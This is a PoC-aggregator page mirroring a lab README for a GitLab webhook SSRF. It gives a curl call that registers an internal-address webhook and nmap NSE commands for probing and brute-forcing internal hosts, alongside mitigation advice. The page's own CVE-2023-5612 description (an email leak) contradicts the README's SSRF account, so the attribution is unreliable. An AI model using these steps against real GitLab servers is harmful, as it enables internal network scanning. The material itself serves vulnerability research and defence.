POC详情: 2857fcfe2d9b68624f86a4d03b528efefcb7dd2e

来源
关联漏洞
标题: GitLab 安全漏洞 (CVE-2023-5612)
描述:GitLab是美国GitLab公司的一个开源的端到端软件开发平台,具有内置的版本控制、问题跟踪、代码审查、CI/CD(持续集成和持续交付)等功能。 GitLab 16.6.6之前版本、16.7版本至16.7.4之前版本、16.8版本至16.8.1之前版本存在安全漏洞。攻击者利用该漏洞可以通过标签源读取用户电子邮件地址。
描述
Analysis via script CVE-2023-5612
介绍
# CVE-2023-5612 – GitLab SSRF via Webhook URL (PoC & Analysis)

## 📌 CVE Overview
- **CVE-ID:** CVE-2023-5612  
- **Severity:** High (CVSS: 8.1 Base Score)
- **Type:** Server-Side Request Forgery (SSRF)
- **Component:** GitLab CE/EE Webhooks
- **Affected Versions:** GitLab CE/EE < 16.2.7, 16.3 < 16.3.4, 16.4 < 16.4.1

## 🧠 Description
An SSRF vulnerability in GitLab CE/EE allows attackers with valid Project Maintainer access to send crafted requests to arbitrary internal services via malicious webhook URLs. Exploitation leads to internal network scanning, metadata leakage, or further pivoting.

---

## ✅ Exploit Conditions
- У злоумышленника есть **maintainer**-доступ к проекту
- GitLab не имеет жесткой фильтрации или валидации URL-хуков

---

## ⚙️ PoC Steps (Manual)

```bash
curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
     --data-urlencode "url=http://127.0.0.1:8888" \
     http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks
```

## 🧱 Environment & Setup

``` Эксплуатация проводилась в изолированной лабораторной среде:
- Kali Linux внутри виртуальной машины, развернутой специально под тестирование
- Поднятый через Docker экземпляр уязвимого GitLab CE (порт 8080)
- Внутри GitLab:
- Создан тестовый проект
- Сгенерирован Personal Access Token (glpat-...) с правами Maintainer
- Для внутреннего SSRF-таргета был поднят минимальный HTTP-сервис на 127.0.0.1:8888
```

## 🧠 Methodology
``` Исследование выполнялось в несколько этапов:
- Подтверждение уязвимости вручную через curl (см. PoC)
- Создание кастомных NSE-скриптов:
gitlab-ssrf.nse: точечная проверка SSRF
gitlab-ssrf-brute.nse: автоматический перебор внутренних адресов
- Тестирование с nmap -d и --script-trace, для анализа поведения API и фиксации результатов
- Получение отклика 401 Unauthorized от внутреннего сервиса, что указывает на успешный SSRF
- Успешный запрос вернет `201 Created` либо ошибку вида `401 Unauthorized`, что указывает на SSRF-доступ.
``` 

---

## 🛠 NSE Script (Manual Trigger) 

```bash
nmap -p 8080 \
  --script ./gitlab-ssrf.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>
```

## 🧪 NSE Script (Bruteforce Internal URLs)

```bash
nmap -p 8080 \
  --script ./gitlab-ssrf-brute.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>
```

---

## 📈 Conclusion

```
В ходе работы над уязвимостью **CVE-2023-5612** был воспроизведён успешный SSRF-атакующий сценарий с доступом к внутренним адресам через API GitLab CE. Это демонстрирует, насколько важно ограничивать возможности вебхуков и внедрять валидацию URL-адресов на стороне сервера.

```

 ## 🎯 **Цель выполнена:**  
- SSRF подтверждён  
- NSE-инструментарий реализован  
- Проект задокументирован и открыт для сообщества

---

## 📂 Repo Structure
```
.
├── gitlab-ssrf.nse             # NSE script for manual SSRF verification
├── gitlab-ssrf-brute.nse       # NSE brute script to scan internal hosts/ports
├── screenshots/                # Скрины выполнения PoC и подтверждения уязвимости
└── README.md                   # Этот файл
```

---

## 🖼 Screenshots
- ✅ Успешный SSRF с возвратом 401 Unauthorized
- 📜 Логи nmap c отработкой скрипта
- 📦 Добавление вебхука через API

---

## ⚠️ Mitigation
- Upgrade GitLab to >= 16.2.7 / 16.3.4 / 16.4.1
- Ограничить outbound HTTP через egress firewall
- Использовать internal allow-lists для вебхуков

---

## 🧠 Author & Contact
**Pavel Topskiy**  
[GitHub](https://github.com/TopskiyPavelQwertyGang) • Security Analyst, Red Team Analyst

---

## 📅 Timeline
- **June 2025:** Анализ PoC и уязвимости
- **5 июня 2025:** Написание кастомного NSE-скрипта и тестов

---

## 🔐 Disclaimer
All testing was done in isolated lab environments on intentionally vulnerable versions. Do not use this against unauthorized systems. Respect ethical hacking principles.
文件快照

[4.0K] /data/pocs/2857fcfe2d9b68624f86a4d03b528efefcb7dd2e ├── [1.4K] gitlab-ssrf-brute.nse ├── [1.7K] gitlab-ssrf.nse ├── [4.9K] README.md └── [4.0K] Screenshots ├── [200K] Screeanshots.Docker.id.png ├── [234K] Screeanshots.Docker.Install.png ├── [131K] Screeanshots.Docker.Project.png ├── [325K] Screeanshots.gitlab-ssrf.nse.png ├── [137K] Screeanshots.vulhub.png └── [400K] Screenshots.gitlab-ssrf-brute.nse.png 1 directory, 9 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。